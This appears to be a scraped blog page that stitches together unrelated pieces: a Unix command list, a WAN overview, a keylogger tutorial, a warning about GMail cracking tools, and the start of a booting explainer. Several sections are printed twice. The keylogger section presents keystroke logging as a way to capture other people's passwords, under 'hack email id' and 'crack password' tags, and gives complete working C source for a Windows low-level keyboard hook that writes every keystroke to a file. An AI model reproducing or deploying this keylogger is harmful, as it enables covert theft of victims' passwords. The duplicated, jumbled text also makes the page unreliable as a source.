Brief overview of Unix / Linux commands
Below is a listing of each of the Unix / Linux commands currently listed on Computer Hope and a brief explanation of what each of the commands do. This is a full listing which means not all the below commands will work with your distribution and may also not work because of your privileges. Clicking on any of the commands will display additional help and information about that command.
Command Description
a2p Creates a Perl script from an awk script.
ac Prints statistics about users’ connect time.
alias Create a name for another command or long command string.
ar Maintain portable archive or library.
arch Display the architecture of the current host.
arp Manipulate the system ARP cache.
as An assembler.
at Command scheduler.
awk Awk script processing program.
basename Deletes any specified prefix from a string.
bash Command Bourne interpreter
bc Calculator.
bdiff Compare large files.
bfs Editor for large files.
bg Continues a program running in the background.
biff Enable / disable incoming mail notifications.
break Break out of while, for, foreach, or until loop.
bs Battleship game.
bye Alias often used for the exit command.
cal Calendar
calendar Display appointments and reminders.
cancel Cancels a print job.
cat View and/or modify a file.
cc C compiler.
cd Change directory.
chdir Change directory.
checkeq Language processors to assist in describing equations.
checknr Check nroff and troff files for any errors.
chfn Modify your own information or if super user or root modify another users information.
chgrp Change a groups access to a file or directory.
chkey Change the secure RPC key pair.
chmod Change the permission of a file.
chown Change the ownership of a file.
chsh Change login shell.
cksum Display and calculate a CRC for files.
clear Clears screen.
cls Alias often used to clear a screen.
cmp Compare files.
col Reverse line-feeds filter.
comm Compare files and select or reject lines that are common.
compress Compress files on a computer.
continue Break out of while, for, foreach, or until loop.
copy Copy files.
cp Copy files.
cpio Creates archived CPIO files.
crontab Create and list files that you wish to run on a regular schedule.
csh Execute the C shell command interpreter
csplit Split files based on context.
ctags Create a tag file for use with ex and vi.
cu Calls or connects to another Unix system, terminal or non-Unix system.
curl Transfer a URL.
cut Cut out selected fields of each line of a file.
date Tells you the date and time in Unix.
dc An arbitrary precision arithmetic package.
df Display the available disk space for each mount.
deroff Removes nroff/troff, tbl, and eqn constructs.
dhclient Dynamic Host Configuration Protocol Client.
diff Displays two files and prints the lines that are different.
dig DNS lookup utility.
dircmp Lists the different files when comparing directories.
dirname Deliver portions of path names.
dmesg Print or control the kernel ring buffer.
dos2unix Converts text files between DOS and Unix formats.
dpost Translates files created by troff into PostScript.
du Tells you how much space a file occupies.
echo Displays text after echo to the terminal.
ed Line oriented file editor.
edit Text editor.
egrep Search a file for a pattern using full regular expressions.
elm Program command used to send and receive e-mail.
emacs Text editor.
enable Enables / Disables LP printers.
env Displays environment variables.
eqn Language processors to assist in describing equations.
ex Line-editor mode of the vi text editor.
exit Exit from a program, shell or log you out of a Unix network.
expand Expand copies of file s.
expr Evaluate arguments as an expression.
fc The FC utility lists or edits and re-executes, commands previously entered to an interactive sh.
fg Continues a stopped job by running it in the foreground
fgrep Search a file for a fixed-character string.
file Tells you if the object you are looking at is a file or if it is a directory.
find Finds one or more files assuming that you know their approximate filenames.
findsmb List info about machines that respond to SMB name queries on a subnet.
finger Lists information about the user.
fmt Simple text formatters.
fold Filter for folding lines.
for Shell built-in functions to repeatedly execute action(s) for a selected number of times.
foreach Shell built-in functions to repeatedly execute action(s) for a selected number of times.
fromdos Converts text files between DOS and Unix formats.
fsck Check and repair a Linux file system.
ftp Enables ftp access to another terminal.
getfacl Display discretionary file information.
gprof The gprof utility produces an execution profile of a program.
grep Finds text within a file.
groupadd Creates a new group account.
groupdel Enables a super user or root to remove a group.
groupmod Enables a super user or root to modify a group.
gunzip Expand compressed files.
gview A programmers text editor.
gvim A programmers text editor.
gzip Compress files.
halt Stop the computer.
hash Remove internal hash table.
hashstat Display the hash stats.
head Displays the first ten lines of a file, unless otherwise stated.
help If computer has online help documentation installed this command will display it.
history Display the history of commands typed.
host DNS lookup utility.
hostid Prints the numeric identifier for the current host.
hostname Set or print name of current host system.
id Shows you the numeric user and group ID on BSD.
ifconfig Sets up network interfaces.
ifdown take a network interface down
ifup bring a network interface up
isalist Display the native instruction sets executable on this platform.
jobs List the jobs currently running in the background.
join Joins command forms together.
keylogin Decrypt the user’s secret key.
kill Cancels a job.
ksh Korn shell command interpreter.
ld Link-editor for object files.
ldd List dynamic dependencies of executable files or shared objects.
less Opposite of the more command.
lex Generate programs for lexical tasks.
link Calls the link function to create a link to a file.
ln Creates a link to a file.
lo Allows you to exit from a program, shell or log you out of a Unix network.
locate List files in databases that match a pattern.
login Signs into a new system.
logname Returns users login name.
logout Logs out of a system.
lp Prints a file on System V systems.
lpadmin Configure the LP print service.
lpc Line printer control program.
lpq Lists the status of all the available printers.
lpr Submits print requests.
lprm Removes print requests from the print queue.
lpstat Lists status of the LP print services.
ls Lists the contents of a directory.
mach Display the processor type of the current host.
mail One of the ways that allows you to read/send E-Mail.
mailcompat Provide SunOS 4.x compatibility for the Solaris mailbox format.
mailx Mail interactive message processing system.
make Executes a list of shell commands associated with each target.
man Display a manual of a command.
mesg Control if non-root users can send text messages to you.
mii-tool View, manipulate media-independent interface status.
mkdir Create a directory.
mkfs Build a Linux file system, usually a hard disk partition.
more Displays text one screen at a time.
mount Disconnects a file systems and remote resources.
mt Magnetic tape control.
mv Renames a file or moves it from one directory to another directory.
nc TCP/IP swiss army knife.
neqn Language processors to assist in describing equations.
netstat Shows network status.
newalias Install new elm aliases for user and/or system.
newform Change the format of a text file.
newgrp Log into a new group.
nice Invokes a command with an altered scheduling priority.
niscat Display NIS+ tables and objects.
nischmod Change access rights on a NIS+ object.
nischown Change the owner of a NIS+ object.
nischttl Change the time to live value of a NIS+ object.
nisdefaults Display NIS+ default values.
nisgrep Utilities for searching NIS+ tables.
nismatch Utilities for searching NIS+ tables.
nispasswd Change NIS+ password information.
nistbladm NIS+ table administration command.
nmap Network exploration tool and security / port scanner.
nohup Runs a command even if the session is disconnected or the user logs out.
nroff Formats documents for display or line-printer.
nslookup Queries a name server for a host or domain lookup.
on Execute a command on a remote system, but with the local environment.
onintr Shell built-in functions to respond to (hardware) signals.
optisa Determine which variant instruction set is optimal to use.
pack Shrinks file into a compressed file.
pagesize Display the size of a page of memory in bytes, as returned by getpagesize.
passwd Allows you to change your password.
paste Merge corresponding or subsequent lines of files.
pax Read / write and writes lists of the members of archive files and copy directory hierarchies.
pcat Compresses file.
perl Perl is a programming language optimized for scanning arbitrary text files, extracting information from those text files.
pg Files perusal filters for CRTs.
pgrep Examine the active processes on the system and reports the process IDs of the processes
pico Simple and very easy to use text editor in the style of the Pine Composer.
pine Command line program for Internet News and Email.
ping Sends ICMP ECHO_REQUEST packets to network hosts.
pkill Examine the active processes on the system and reports the process IDs of the processes
poweroff Stop the computer.
pr Formats a file to make it look better when printed.
priocntl Display’s or set scheduling parameters of specified process(es)
printf Write formatted output.
ps Reports the process status.
pvs Display the internal version information of dynamic objects within an ELF file.
pwd Print the current working directory.
quit Allows you to exit from a program, shell or log you out of a Unix network.
rcp Copies files from one computer to another computer.
reboot Stop the computer.
red Line oriented file editor.
rehash Recomputes the internal hash table of the contents of directories listed in the path.
remsh Runs a command on another computer.
repeat Shell built-in functions to repeatedly execute action(s) for a selected number of times.
rgview A programmers text editor.
rgvim A programmers text editor.
rlogin Establish a remote connection from your terminal to a remote machine.
rm Deletes a file without confirmation (by default).
rmail One of the ways that allows you to read/send E-Mail.
rmdir Deletes a directory.
rn Reads newsgroups.
route Show / manipulate the IP routing table.
rpcinfo Report RPC information.
rsh Runs a command on another computer.
rsync Faster, flexible replacement for rcp.
rview A programmers text editor.
rvim A programmers text editor.
s2p Convert a sed script into a Perl script.
sag Graphically displays the system activity data stored in a binary data file by a previous sar run.
sar Displays the activity for the CPU.
script Records everything printed on your screen.
sdiff Compares two files, side-by-side.
sed Allows you to use pre-recorded commands to make changes to text.
sendmail Sends mail over the Internet.
set Set the value of an environment variable.
setenv Set the value of an environment variable.
setfacl Modify the Access Control List (ACL) for a file or files.
settime Change file access and modification time.
sftp Secure file transfer program.
sh Runs or processes jobs through the Bourne shell.
shred Delete a file securely, first overwriting it to hide its contents.
shutdown Turn off the computer immediately or at a specified time.
sleep Waits a x amount of seconds.
slogin OpenSSH SSH client (remote login program).
smbclient An ftp-like client to access SMB/CIFS resources on servers.
sort Sorts the lines in a text file.
spell Looks through a text file and reports any words that it finds in the text file that are not in the dictionary.
split Split a file into pieces.
stat Display file or filesystem status.
stop Control process execution.
strip Discard symbols from object files.
stty Sets options for your terminal.
su Become super user or another user.
sysinfo Get and set system information strings.
sysklogd Linux system logging utilities.
tabs Set tabs on a terminal.
tail Delivers the last part of the file.
talk Talk with other logged in users.
tac Concatenate and print files in reverse.
tar Create tape archives and add or extract files.
tbl Preprocessor for formatting tables for nroff or troff.
tcopy Copy a magnetic tape.
tcpdump Dump traffic on a network.
tee Read from an input and write to a standard output or file.
telnet Uses the telnet protocol to connect to another remote computer.
time Used to time a simple command.
timex The timex command times a command; reports process data and system activity.
todos Converts text files between DOS and Unix formats.
top Display Linux tasks.
touch Change file access and modification time.
tput Initialize a terminal or query terminfo database.
tr Translate characters.
traceroute Print the route packets take to network host.
troff Typeset or format documents.
ul Reads the named filenames or terminal and does underlining.
umask Get or set the file mode creation mask.
unalias Remove an alias.
unhash Remove internal hash table.
uname Print name of current system.
uncompress Uncompressed compressed files.
uniq Report or filter out repeated lines in a file.
unmount Crates a file systems and remote resources.
unpack Expands a compressed file.
untar Create tape archives and add or extract files.
until Execute a set of actions while/until conditions are evaluated TRUE.
useradd Create a new user or updates default new user information.
userdel Remove a users account.
usermod Modify a users account.
vacation Reply to mail automatically.
vedit Screen-oriented (visual) display editor based on ex.
vgrind Grind nice program listings
vi Screen-oriented (visual) display editor based on ex.
vim A programmers text editor.
view A programmers text editor.
w Show who is logged on and what they are doing.
wait Await process completion.
wc Displays a count of lines, words, and characters in a file
whereis Locate a binary, source, and manual page files for a command.
while Repetitively execute a set of actions while/until conditions are evaluated TRUE.
which Locate a command.
who Displays who is on the system.
whois Internet user name directory service.
write Send a message to another user.
X Execute the X windows system.
xfd Display all the characters in an X font.
xlsfonts Server font list displayer for X.
xset User preference utility for X.
xterm Terminal emulator for X.
xrdb X server resource database utility.
yacc Short for yet another compiler-compiler, yacc is a compiler.
yes Repeatedly output a line with all specified STRING(s), or ‘y’.
yppasswd Changes network password in the NIS database.
zcat Compress files.
Saturday, April 17, 2010
wide area network
Wide Area Network Technologies Overview
A Wide Area Network ( WAN) is a computer network covering multiple distance areas, which may spread across the entire world. WANs often connect multiple smaller networks, such as local area networks (LANs) or metro area networks (MANs). The world's most popular WAN is the Internet. Some segments of the Internet are also WANs in themselves. The key difference between WAN and LAN technologies is scalability C WAN must be able to grow as needed to cover multiple cities, even countries and continents.
A set of switches and routers are interconnected to form a Wide Area Network. The switches can be connected in different topologies such as full mesh and half mesh. A wide area network may be privately owned or rented from a service provider, but the term usually connotes the inclusion of public (shared user) networks.
Both packet switching and circuit switching technologies are used in the WAN. Packet switching allows users to share common carrier resources so that the carrier can make more efficient use of its infrastructure. In a packet switching setup, networks have connections into the carrier's network, and many customers share the carrier's network. The carrier can then create virtual circuits between customers' sites by which packets of data are delivered from one to the other through the network.
Circuit Switching allows data connections to be established when needed and then terminated when communication is complete. This works like a normal telephone line works for voice communication. Integrated Services Digital Network (ISDN) is a good example of circuit switching. When a router has data for a remote site, the switched circuit is initiated with the circuit number of the remote network.
WAN Diagram Software
Edraw Network Diagram is ideal for network engineers and network designers who need to draw wan diagrams. It had defined some common used WAN symbols in drawing WAN diagrams. Just drag and drop pre-drawn shapes representing computers and network devices. Double click and set equipment data.
Free Download WAN Diagram Software and View All Examples
Examples of Wide Area Network Technologies
Examples of Wide Area Network Technologies Created by Edraw!
Wide Area Network WAN Network WAN Topology
Wide Area Network WAN Network WAN Topology
Virtual private network (VPN) is a tecnology widely used in a public switched network (PSTN) to provide private and secured WAN for an organization. VPN uses encryption and other techniques to make it appear that the organisation has a dedicated network, while making use of the shared infrastructure of the WAN.
WAN technologies generally function at the lower three layers of the OSI reference model: the physical layer, the data link layer, and the network layer. Key technologies often found in WANs include SONET, Frame Relay, X.25, ATM and PPP.
* ATM: A dedicated-connection switching technology that organizes digital data into 53-byte cell units. Individually, a cell is processed asynchronously relative to other related cells and is queued before being multiplexed over the transmission path. Speeds on ATM networks can reach 10 Gbps.
* Frame Relay: (FR). A high-speed packet-switched data communications service, similar to X.25. Frame relay is widely used for LAN-to-LAN interconnect services, and is well suited to the bursty demands of LAN environments.
* SONET/SDH: Synchronous Optical Network is an international standard for high speed communication over fiber-optic networks. The SONET establishes Optical Carrier (OC) levels from 51.8 Mbps to 10 Gbps (OC-192) or even higher. Synchronous Digital Hierarchy (SDH) is a European equivalent of SONET.
* X.25: The X.25 protocol allows computers on different public networks to communicate through an intermediary computer at the network layer level.
* PPP: A point-to-point link provides a single, pre-established WAN communications path from the customer premises through a carrier network, such as a telephone company, to a remote network. Point-to-point lines are usually leased from a carrier and thus are often called leased lines. For a point-to-point line, the carrier allocates pairs of wire and facility hardware to your line only.
IP can also be considered as a WAN technology in the packet switching environment
computer science the complete reference
A Wide Area Network ( WAN) is a computer network covering multiple distance areas, which may spread across the entire world. WANs often connect multiple smaller networks, such as local area networks (LANs) or metro area networks (MANs). The world's most popular WAN is the Internet. Some segments of the Internet are also WANs in themselves. The key difference between WAN and LAN technologies is scalability C WAN must be able to grow as needed to cover multiple cities, even countries and continents.
A set of switches and routers are interconnected to form a Wide Area Network. The switches can be connected in different topologies such as full mesh and half mesh. A wide area network may be privately owned or rented from a service provider, but the term usually connotes the inclusion of public (shared user) networks.
Both packet switching and circuit switching technologies are used in the WAN. Packet switching allows users to share common carrier resources so that the carrier can make more efficient use of its infrastructure. In a packet switching setup, networks have connections into the carrier's network, and many customers share the carrier's network. The carrier can then create virtual circuits between customers' sites by which packets of data are delivered from one to the other through the network.
Circuit Switching allows data connections to be established when needed and then terminated when communication is complete. This works like a normal telephone line works for voice communication. Integrated Services Digital Network (ISDN) is a good example of circuit switching. When a router has data for a remote site, the switched circuit is initiated with the circuit number of the remote network.
WAN Diagram Software
Edraw Network Diagram is ideal for network engineers and network designers who need to draw wan diagrams. It had defined some common used WAN symbols in drawing WAN diagrams. Just drag and drop pre-drawn shapes representing computers and network devices. Double click and set equipment data.
Free Download WAN Diagram Software and View All Examples
Examples of Wide Area Network Technologies
Examples of Wide Area Network Technologies Created by Edraw!
Wide Area Network WAN Network WAN Topology
Wide Area Network WAN Network WAN Topology
Virtual private network (VPN) is a tecnology widely used in a public switched network (PSTN) to provide private and secured WAN for an organization. VPN uses encryption and other techniques to make it appear that the organisation has a dedicated network, while making use of the shared infrastructure of the WAN.
WAN technologies generally function at the lower three layers of the OSI reference model: the physical layer, the data link layer, and the network layer. Key technologies often found in WANs include SONET, Frame Relay, X.25, ATM and PPP.
* ATM: A dedicated-connection switching technology that organizes digital data into 53-byte cell units. Individually, a cell is processed asynchronously relative to other related cells and is queued before being multiplexed over the transmission path. Speeds on ATM networks can reach 10 Gbps.
* Frame Relay: (FR). A high-speed packet-switched data communications service, similar to X.25. Frame relay is widely used for LAN-to-LAN interconnect services, and is well suited to the bursty demands of LAN environments.
* SONET/SDH: Synchronous Optical Network is an international standard for high speed communication over fiber-optic networks. The SONET establishes Optical Carrier (OC) levels from 51.8 Mbps to 10 Gbps (OC-192) or even higher. Synchronous Digital Hierarchy (SDH) is a European equivalent of SONET.
* X.25: The X.25 protocol allows computers on different public networks to communicate through an intermediary computer at the network layer level.
* PPP: A point-to-point link provides a single, pre-established WAN communications path from the customer premises through a carrier network, such as a telephone company, to a remote network. Point-to-point lines are usually leased from a carrier and thus are often called leased lines. For a point-to-point line, the carrier allocates pairs of wire and facility hardware to your line only.
IP can also be considered as a WAN technology in the packet switching environment
computer science the complete reference
key logging concepts
http://newidea2.mywebclub.com/2010/04/14/cracking-email-id-method/
what is a keylogger?
it's a program that logs everything that you type on the keyboard.
what are it's usages to me?
well, if you want to record everytyhing someone types then you can then see anything you want like passwords and such.
how do i get one?
you can buy some corperate or home usage ones that are made for recording what employees are doing or what your kids are doing. that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do.
ok, how do i do this?
you program one. if your new to programming then learn how to program in c then come back here. if you know how to program in c then read on.
there are two ways of making a keylogger:
1. using the GetAsyncKeyState API. look at svchost.c.
2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. Look here about this. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it:
computer science review
CODE C Language
view source
print?
001 // This code will only work if you have Windows NT or
002 // any later version installed, 2k and XP will work.
003
004
005 #define _WIN32_WINNT 0x0400
006
007 #include
008 #include
009 #include
010
011 // Global Hook handle
012 HHOOK hKeyHook;
013
014
015
016 // This is the function that is "exported" from the
017 // execuatable like any function is exported from a
018 // DLL. It is the hook handler routine for low level
019 // keyboard events.
020
021 __declspec(dllexport) LRESULT CALLBACK KeyEvent (
022
023 int nCode, // The hook code
024 WPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
025 LPARAM lParam // A pointer to a struct with information about the pressed key
026
027 ) {
028 if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
029 ((wParam == WM_SYSKEYDOWN) || // Only react if either a system key ...
030 (wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
031 {
032
033 // This struct contains various information about
034 // the pressed key such as hardware scan code, virtual
035 // key code and further flags.
036
037 KBDLLHOOKSTRUCT hooked =
038 *((KBDLLHOOKSTRUCT*)lParam);
039
040
041 // dwMsg shall contain the information that would be stored
042 // in the usual lParam argument of a WM_KEYDOWN message.
043 // All information like hardware scan code and other flags
044 // are stored within one double word at different bit offsets.
045 // Refer to MSDN for further information:
046 //
047 // http://msdn.microsoft.com/library/en-us/winui/winui/
048 // windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
049 //
050 // (Keystroke Messages)
051
052
053 DWORD dwMsg = 1;
054 dwMsg += hooked.scanCode << 16;
055 dwMsg += hooked.flags << 24;
056
057
058 // Call the GetKeyNameText() function to get the language-dependant
059 // name of the pressed key. This function should return the name
060 // of the pressed key in your language, aka the language used on
061 // the system.
062
063 char lpszName[0x100] = {0};
064 lpszName[0] = '[';
065
066 int i = GetKeyNameText(dwMsg,
067 (lpszName+1),0xFF) + 1;
068
069 lpszName[i] = ']';
070
071
072 // Print this name to the standard console output device.
073
074 FILE *file;
075 file=fopen("keys.log","a+");
076 fputs(lpszName,file);
077 fflush(file);
078 }
079
080
081 // the return value of the CallNextHookEx routine is always
082 // returned by your HookProc routine. This allows other
083 // applications to install and handle the same hook as well.
084
085 return CallNextHookEx(hKeyHook,
086 nCode,wParam,lParam);
087
088 }
089
090
091
092 // This is a simple message loop that will be used
093 // to block while we are logging keys. It does not
094 // perform any real task ...
095
096 void MsgLoop()
097 {
098 MSG message;
099 while (GetMessage(&message,NULL,0,0)) {
100 TranslateMessage( &message );
101 DispatchMessage( &message );
102 }
103 }
104
105
106 // This thread is started by the main routine to install
107 // the low level keyboard hook and start the message loop
108 // to loop forever while waiting for keyboard events.
109
110 DWORD WINAPI KeyLogger(LPVOID lpParameter)
111 {
112
113 // Get a module handle to our own executable. Usually,
114 // the return value of GetModuleHandle(NULL) should be
115 // a valid handle to the current application instance,
116 // but if it fails we will also try to actually load
117 // ourself as a library. The thread's parameter is the
118 // first command line argument which is the path to our
119 // executable.
120
121 HINSTANCE hExe = GetModuleHandle(NULL);
122 if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
123
124 // Everything failed, we can't install the hook ... this
125 // never happened, but error handling is important.
126
127 if (!hExe) return 1;
128
129
130
131 hKeyHook = SetWindowsHookEx ( // install the hook:
132
133 WH_KEYBOARD_LL, // as a low level keyboard hook
134 (HOOKPROC) KeyEvent, // with the KeyEvent function from this executable
135 hExe, // and the module handle to our own executable
136 NULL // and finally, the hook should monitor all threads.
137 );
138
139
140 // Loop forever in a message loop and if the loop
141 // stops some time, unhook the hook. I could have
142 // added a signal handler for ctrl-c that unhooks
143 // the hook once the application is terminated by
144 // the user, but I was too lazy.
145
146 MsgLoop();
147 UnhookWindowsHookEx(hKeyHook);
148 return 0;
149 }
150
151
152 // The main function just starts the thread that
153 // installs the keyboard hook and waits until it
154 // terminates.
155
156 int main(int argc, char** argv)
157 {
158 HANDLE hThread;
159 DWORD dwThread;
160 DWORD exThread;
161
162 hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
163 KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
164
165 if (hThread) {
166 return WaitForSingleObject(hThread,INFINITE);
167 } else {
168 return 1;
169 }
170 }
hack email id
crack password
what is a keylogger?
it's a program that logs everything that you type on the keyboard.
what are it's usages to me?
well, if you want to record everytyhing someone types then you can then see anything you want like passwords and such.
how do i get one?
you can buy some corperate or home usage ones that are made for recording what employees are doing or what your kids are doing. that is a bad method though since they are bloated, cost money since most people don't know how to find warez and it's better to make your own since you can make it do what you want to do.
ok, how do i do this?
you program one. if your new to programming then learn how to program in c then come back here. if you know how to program in c then read on.
there are two ways of making a keylogger:
1. using the GetAsyncKeyState API. look at svchost.c.
2. Using the SetWindowsHookEx API. This is the prefered method but only works on NT based systems. The reason this way is prefered is because it is much more efficient that GetAsyncKeyState. See for yourself. No need to check if what character is being pressed and no need to check other stuff like the value -32767 is being returned. Look here about this. When you use the SetWindowsHookApi you "hook" the keyboard to that you can send all of the keys prssed to somewhere. When making a keylogger you usually send it to a file so that all of the keys will be logged there. The only disavantage of using this API if you could even call it a disadvantage is that you have to use have a DLL as well as your .exe file. I found a peice of code that doesn't need a DLL. Here it is with a slight modification from me so that you don't have to have the keylogger close before you can view the file with the logged keys in it:
computer science review
CODE C Language
view source
print?
001 // This code will only work if you have Windows NT or
002 // any later version installed, 2k and XP will work.
003
004
005 #define _WIN32_WINNT 0x0400
006
007 #include
008 #include
009 #include
010
011 // Global Hook handle
012 HHOOK hKeyHook;
013
014
015
016 // This is the function that is "exported" from the
017 // execuatable like any function is exported from a
018 // DLL. It is the hook handler routine for low level
019 // keyboard events.
020
021 __declspec(dllexport) LRESULT CALLBACK KeyEvent (
022
023 int nCode, // The hook code
024 WPARAM wParam, // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
025 LPARAM lParam // A pointer to a struct with information about the pressed key
026
027 ) {
028 if ((nCode == HC_ACTION) && // HC_ACTION means we may process this event
029 ((wParam == WM_SYSKEYDOWN) || // Only react if either a system key ...
030 (wParam == WM_KEYDOWN))) // ... or a normal key have been pressed.
031 {
032
033 // This struct contains various information about
034 // the pressed key such as hardware scan code, virtual
035 // key code and further flags.
036
037 KBDLLHOOKSTRUCT hooked =
038 *((KBDLLHOOKSTRUCT*)lParam);
039
040
041 // dwMsg shall contain the information that would be stored
042 // in the usual lParam argument of a WM_KEYDOWN message.
043 // All information like hardware scan code and other flags
044 // are stored within one double word at different bit offsets.
045 // Refer to MSDN for further information:
046 //
047 // http://msdn.microsoft.com/library/en-us/winui/winui/
048 // windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
049 //
050 // (Keystroke Messages)
051
052
053 DWORD dwMsg = 1;
054 dwMsg += hooked.scanCode << 16;
055 dwMsg += hooked.flags << 24;
056
057
058 // Call the GetKeyNameText() function to get the language-dependant
059 // name of the pressed key. This function should return the name
060 // of the pressed key in your language, aka the language used on
061 // the system.
062
063 char lpszName[0x100] = {0};
064 lpszName[0] = '[';
065
066 int i = GetKeyNameText(dwMsg,
067 (lpszName+1),0xFF) + 1;
068
069 lpszName[i] = ']';
070
071
072 // Print this name to the standard console output device.
073
074 FILE *file;
075 file=fopen("keys.log","a+");
076 fputs(lpszName,file);
077 fflush(file);
078 }
079
080
081 // the return value of the CallNextHookEx routine is always
082 // returned by your HookProc routine. This allows other
083 // applications to install and handle the same hook as well.
084
085 return CallNextHookEx(hKeyHook,
086 nCode,wParam,lParam);
087
088 }
089
090
091
092 // This is a simple message loop that will be used
093 // to block while we are logging keys. It does not
094 // perform any real task ...
095
096 void MsgLoop()
097 {
098 MSG message;
099 while (GetMessage(&message,NULL,0,0)) {
100 TranslateMessage( &message );
101 DispatchMessage( &message );
102 }
103 }
104
105
106 // This thread is started by the main routine to install
107 // the low level keyboard hook and start the message loop
108 // to loop forever while waiting for keyboard events.
109
110 DWORD WINAPI KeyLogger(LPVOID lpParameter)
111 {
112
113 // Get a module handle to our own executable. Usually,
114 // the return value of GetModuleHandle(NULL) should be
115 // a valid handle to the current application instance,
116 // but if it fails we will also try to actually load
117 // ourself as a library. The thread's parameter is the
118 // first command line argument which is the path to our
119 // executable.
120
121 HINSTANCE hExe = GetModuleHandle(NULL);
122 if (!hExe) hExe = LoadLibrary((LPCSTR) lpParameter);
123
124 // Everything failed, we can't install the hook ... this
125 // never happened, but error handling is important.
126
127 if (!hExe) return 1;
128
129
130
131 hKeyHook = SetWindowsHookEx ( // install the hook:
132
133 WH_KEYBOARD_LL, // as a low level keyboard hook
134 (HOOKPROC) KeyEvent, // with the KeyEvent function from this executable
135 hExe, // and the module handle to our own executable
136 NULL // and finally, the hook should monitor all threads.
137 );
138
139
140 // Loop forever in a message loop and if the loop
141 // stops some time, unhook the hook. I could have
142 // added a signal handler for ctrl-c that unhooks
143 // the hook once the application is terminated by
144 // the user, but I was too lazy.
145
146 MsgLoop();
147 UnhookWindowsHookEx(hKeyHook);
148 return 0;
149 }
150
151
152 // The main function just starts the thread that
153 // installs the keyboard hook and waits until it
154 // terminates.
155
156 int main(int argc, char** argv)
157 {
158 HANDLE hThread;
159 DWORD dwThread;
160 DWORD exThread;
161
162 hThread = CreateThread(NULL,NULL,(LPTHREAD_START_ROUTINE)
163 KeyLogger, (LPVOID) argv[0], NULL, &dwThread);
164
165 if (hThread) {
166 return WaitForSingleObject(hThread,INFINITE);
167 } else {
168 return 1;
169 }
170 }
hack email id
crack password
Cracking e mail
Did you forget your Google Mail password? If you had the foresight at the time of signing up for the account you will know your username and perhaps have set a secret question and secondary address. If so, you can simply visit the password recovery page, follow the instructions, and retrieve your password.
DO NOT, whatever you do, download a crack, hacker tool, or anything else that claims to be able to crack your GMail password, it will be malware, no two ways about it, and your computer and your security will be seriously compromised.
But, if you don’t remember or never set those things, you might be hoping that there is another way to crack your GMail password. According to Hacking Truths there is, a download called GMail Password Recovery tool. Apparently, this program will scan your PC for encrypted GMail passwords, extract them, decrypt and decode them and display them in a readable format. It will search in settings across the following apps: Google Talk, Gmail Notifier, Google Desktop, Picasa, Google Photos Screensaver, Internet Explorer and Firefox. Supposedly. DO NOT USE THIS TOOL!!!
computer science ?
I downloaded the file from the link provided by Hacking Truths and did an antivirus scan with ESET NOD32. Immediately, it found a Trojan horse program. Even if your antivirus doesn’t show anything untoward, I wouldn’t recommend connecting to a remote server with a tool like this, anyway. It could easily be a phishing scam. You are leaving yourself open to
Moreover, although there seem to be “clean” versions of this password recovery tool on the net, how can you be sure that it’s not got something that is simply not being detected?
There is another warning to be discussed (not just about ensuring you scan all downloads for viruses, Trojans, and malware before you run them). With GMail Password Recovery, anyone could download and install a program like this on any PC to which they have access. Be warned if you use a shared machine and don’t entirely trust other users. If it actually works someone could use it to crack your GMail password.
Such a tool could be especially important for government agents and spies who seem to have a penchant for leaving laptop computers on public transport, in the UK at least, although they never seem to learn the lesson of encryption so I doubt they use strong passwords as it is.
DO NOT, whatever you do, download a crack, hacker tool, or anything else that claims to be able to crack your GMail password, it will be malware, no two ways about it, and your computer and your security will be seriously compromised.
But, if you don’t remember or never set those things, you might be hoping that there is another way to crack your GMail password. According to Hacking Truths there is, a download called GMail Password Recovery tool. Apparently, this program will scan your PC for encrypted GMail passwords, extract them, decrypt and decode them and display them in a readable format. It will search in settings across the following apps: Google Talk, Gmail Notifier, Google Desktop, Picasa, Google Photos Screensaver, Internet Explorer and Firefox. Supposedly. DO NOT USE THIS TOOL!!!
computer science ?
I downloaded the file from the link provided by Hacking Truths and did an antivirus scan with ESET NOD32. Immediately, it found a Trojan horse program. Even if your antivirus doesn’t show anything untoward, I wouldn’t recommend connecting to a remote server with a tool like this, anyway. It could easily be a phishing scam. You are leaving yourself open to
Moreover, although there seem to be “clean” versions of this password recovery tool on the net, how can you be sure that it’s not got something that is simply not being detected?
There is another warning to be discussed (not just about ensuring you scan all downloads for viruses, Trojans, and malware before you run them). With GMail Password Recovery, anyone could download and install a program like this on any PC to which they have access. Be warned if you use a shared machine and don’t entirely trust other users. If it actually works someone could use it to crack your GMail password.
Such a tool could be especially important for government agents and spies who seem to have a penchant for leaving laptop computers on public transport, in the UK at least, although they never seem to learn the lesson of encryption so I doubt they use strong passwords as it is.
Operating system concepts
Booting Process
Intoduction
operating system concept
When a computer starts up ( obviously by pressing the power button), the first thing that occurs is it send a signal to motherboard which in turn starts the power supply. After supplying the correct amount of power to each device, it send a signal called "Power OK" to BIOS which resides on motherboard.
Once the BIOS receive the "Power OK" signal, it starts the booting process by first initializing a process called POST (Power On Self Test). POST first check that every device has right amount of power and then it check whether the memory is not corrupted. Then it initialize each devices and finally it gives control to BIOS for further booting.
Now the final process of booting begins. For this the BIOS first find 512 bytes of image called MBR (Master Boot Record) or Bootsector from the floppy disk or hard disk which is used for booting. The priority of boot devices is set by the user in BIOS setting. The normal priority is floppy disk first, then hard disk.
Once BIOS finds the bootsector it loads the image in memory and execute it. If a valid bootsector is not found, BIOS check for next drive in boot sequence until it find valid bootsector. If BIOS fails to get valid bootsector, generally it stops the execution and gives an error message "Disk boot failure".
It is bootsectors responsibility to load the operating system in memory and execute it.
Master Boot Record
